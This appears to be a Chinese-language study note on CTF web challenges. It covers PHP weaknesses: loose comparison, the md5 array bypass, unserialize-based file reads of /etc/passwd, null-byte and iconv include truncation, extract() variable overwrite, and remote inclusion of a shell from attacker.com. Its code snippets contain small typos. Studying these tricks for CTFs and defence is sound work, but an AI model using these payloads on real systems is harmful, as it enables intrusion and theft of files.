继续阅读《CTF特训营》web部分
本节是利用特性攻击
比较相等可以用==
和===
前者会自动进行类型转换,存在漏洞
一些相等的值
"==0==false
'123'==123
'abc'==0
'123a'==123
'0x01'==1
'0e123456789'=='0e987654321'
[false]==[0]==[NULL]==["]
NULL==false==0
true==1
一个例子
if(&_GET['a']!=&_GET['b'] && md5(&_GET['a'])===md5(&_GET['b'])){
echo $flag;
}
可以用a[]=1&b[]=2
绕过
当md5函数的参数是数组时,函数会返回NULL
两个都返回NULL就成功绕过了
PHP的serialize
和unserialize
函数
配合特殊的类magic函数:__construct
、_destruct
、__toString
、__sleep
、__wakeup
例子
&lists = []
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt',true).highlight_file($thie->source,true);
}
}
//...
?>
将source的变量设置为想要读取的文件名
再序列化即可
&lists = []
Class filelist{
public function __toString()
{
return highlight_file('hiehiehie.txt',true).highlight_file($thie->source,true);
}
}
&f=new filelist();
$f->source="/etc/passwd";
print_r(serialize(&f)):
参考:phithon对joomla漏洞的分析
PHP内核是C语言
在遇到NULL(/x00)字符时会当作结束标记
例子
&file = &_GET['file'];
include $file.'.tpl.html';
绕过办法
?file=../../../etc/passwd%00
?file=../../../{*N}/etc/passwd
不过这个漏洞随着php更新消失了
另一个漏洞是iconv函数
例子
$file=$_GET['file'].'.tpl.html';
include(iconv("UTF-8","gb2312",$file));
当file中包含非法utf-8字符时,iconv函数会截断字符串
提交?file=shell.jpg%ff
即可绕过
因为单个\x80-\xff
都是非法的
同样的,这个漏洞也随着php更新消失了
在php.ini的设置中若allow_url_include=1
即允许远程包含
可以输入
?file=http://attacker.com/shell.jpg
上传shell
类似的还有zip协议和phar协议
函数使用不当
例子
$auth=false;
extract($_GET);
if($auth){
echo "flag{}";
}else{
echo "Access Denied";
}
?>
extract函数将GET传入的数据转换为变量名和变量值
payload
?auth=1
open_basedir函数
disable_function函数
可以用短文件爆破和下载长文件
一些工具可参考lijiejie的IIS短文件名扫描工具
通过\x80-\xff
来绕过黑名单
主要是php的特性
根据之前做题的经验
php5.5之前有很多漏洞
需要熟悉